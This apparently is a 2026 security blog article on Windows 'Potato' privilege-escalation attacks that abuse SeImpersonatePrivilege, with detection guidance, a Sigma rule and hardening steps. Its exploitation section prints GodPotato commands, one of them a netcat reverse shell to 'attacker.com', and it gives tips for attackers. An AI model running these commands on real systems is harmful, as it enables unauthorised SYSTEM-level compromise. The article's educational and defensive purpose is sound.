SeImpersonatePrivilege: From Service Account to SYSTEM in 10 Seconds (Potato Attacks 2026)

Last updated: April 26, 2026

If you compromise a Windows account that has SeImpersonatePrivilege — typically a service account, an IIS app pool identity, or a SQL Server context — you can almost certainly elevate to SYSTEM. The technique is a family of “Potato” attacks (RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, RemotePotato0, MultiPotato) and they continue to work on most Windows versions in 2026 because SeImpersonatePrivilege is a default for service accounts. This article explains the privilege, the attacks, the detection, and the architectural fix.

Why service accounts have this privilege

On Windows, services run under specific identities — NT AUTHORITY\SYSTEM for full-privilege services, LOCAL SERVICE / NETWORK SERVICE for low-privilege services, or NT SERVICE\<ServiceName> virtual accounts for dedicated identities. Most service accounts have SeImpersonatePrivilege enabled because legitimate service operations require impersonating clients (a web server impersonates the requesting user, etc.).

The privilege itself says: this token can call ImpersonateLoggedOnUser() against any token it can acquire a handle to. The Potato attacks exploit Windows authentication mechanics to make a SYSTEM-token-handle available, then impersonate it.

The attack family

RottenPotato (2016)

Original. Triggers a local NTLM authentication, intercepts it, relays to another Windows API to obtain a SYSTEM token. Worked on Windows 7 / Server 2008 R2 to Windows 10 1803-ish.

JuicyPotato (2018)

Refined RottenPotato, exposed the COM CLSID parameter so users could pick a CLSID that worked on their specific Windows build. Wide compatibility through Windows 10 1809.

RoguePotato (2020)

JuicyPotato stopped working after Windows 10 1809 due to a Microsoft mitigation. RoguePotato bypasses by relaying NTLM through an external attacker-controlled host. Requires the attacker to have an external machine reachable from the target.

PrintSpoofer (2020)

Exploits the print spooler to trigger SYSTEM authentication. Simple, no external host needed. Microsoft eventually mitigated print-spooler-based attacks; PrintSpoofer’s reliability has degraded.

GodPotato (2023)

The 2023+ heir apparent. Uses a different COM-based primitive that survives current Windows mitigations. Works on Windows Server 2012 to 2022, Windows 8 to 11.

RemotePotato0 (2021)

For domain environments. Triggers cross-protocol relay attacks for elevation. Requires specific configurations but extends the attack surface to AD.

Practical exploitation

Assuming you have a shell as a service account with SeImpersonatePrivilege (check with whoami /priv):

C:\Users\svc_app> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                  Description                          State
=============================== ==================================== ========
SeAssignPrimaryTokenPrivilege   Replace a process level token        Disabled
SeImpersonatePrivilege          Impersonate a client after authen.   Enabled
... 

Path to SYSTEM with GodPotato:

C:\temp> GodPotato.exe -cmd "cmd.exe /c whoami"
nt authority\system

C:\temp> GodPotato.exe -cmd "C:\\temp\\nc.exe -e cmd.exe attacker.com 4444"
# Reverse shell as SYSTEM

The whole chain — service-account compromise to SYSTEM — is two commands, ~10 seconds.

Common attack scenarios

• IIS web app foothold — RCE in a web application, inherits IIS app pool identity, escalates to SYSTEM, persists, lateral moves.
• SQL Server xp_cmdshell — SQL injection lets you call xp_cmdshell, runs as SQL service account (typically with SeImpersonate), escalates to SYSTEM.
• Compromised service account credentials from Kerberoasting or password reuse — login as the service account, escalate.
• Container escape from Windows containers running as service account contexts.

Detection — what works

Potato attacks leave specific telemetry that distinguishes them from legitimate impersonation:

• Sysmon Event 1 — process creation. The Potato exploit binary itself, or process creation chains where a child process runs as SYSTEM with parent as a service account.
• Sysmon Event 13 — registry modifications by service accounts, particularly to BITS, COM, or WinRM configuration.
• Sysmon Event 18 — pipe creation. Many Potato variants create named pipes for token handoff.
• Event ID 4624 with logon type 9 (NewCredentials) followed quickly by SYSTEM-context activity from a non-SYSTEM parent process.
• Network telemetry — NTLM authentication callbacks to localhost from service-account contexts.

Sigma rule for the canonical pattern:

title: SYSTEM-Spawning Process from Service Account Context
detection:
  selection:
    EventID: 1
    User|contains: 'SYSTEM'
    ParentUser|contains:
      - 'IIS APPPOOL'
      - 'NETWORK SERVICE'
      - 'LOCAL SERVICE'
      - 'MSSQL'
  condition: selection

Tuning: legitimate cases exist (some service-restart patterns), but should be rare and well-known. Anomalies are high-fidelity.

Mitigation

The hardening that closes most Potato variants:

1. Remove SeImpersonatePrivilege from service accounts that do not require it. Many do not; the privilege is enabled by default but unnecessary for the actual workload. Audit each service identity and tighten.
2. Enable LSA Protection (RunAsPPL) system-wide. Limits what attacker code can do with stolen tokens.
3. Enable Credential Guard — isolates credential material in a virtualised security boundary.
4. Use virtual accounts (NT SERVICE\<Name>) instead of NETWORK SERVICE. Each service has its own scoped identity.
5. Disable Print Spooler on servers that don’t need it (especially Domain Controllers — print spooler should be off there as a hard rule).
6. Patch promptly — Microsoft has mitigated specific Potato variants over time. Stay current.
7. App-pool isolation in IIS — separate app pools per application, scoped permissions.

How to find your next Potato candidate

For attackers:

• Whenever you land on a Windows shell, run whoami /priv first. Look for SeImpersonatePrivilege Enabled or SeAssignPrimaryTokenPrivilege Enabled.
• If neither is present, look for service-account credentials reachable via Kerberoasting (covered separately), credential reuse, or other paths.
• Try GodPotato first; fall back to JuicyPotato variants on older Windows.

For defenders:

• Audit every Windows service. List identity, privileges, justification. Tighten or remove SeImpersonatePrivilege where not needed.
• Validate detection rules with Atomic Red Team’s T1134 (Access Token Manipulation) tests.
• For high-value services (SQL Server, IIS), consider managed service accounts (gMSA) with explicit privilege scoping.

Compliance angle

• RBI Cyber Framework — privileged access management, including service-account privilege scoping.
• SEBI CSCRF — MITRE T1134 (Access Token Manipulation) is in the expected detection coverage.
• ISO 27001:2022 A.5.16, A.8.5 — identity management, secure authentication.

The takeaway

SeImpersonatePrivilege is the Windows privilege most defenders forget exists and most attackers know intimately. Service accounts in 2026 still ship with it enabled, still permit Potato-style escalation, still give attackers SYSTEM in seconds. The fix is unglamorous: audit service accounts, remove the privilege where not needed, deploy defence-in-depth (LSA Protection, Credential Guard), validate detection rules. The work is unblocked by anything other than priority. Prioritise it.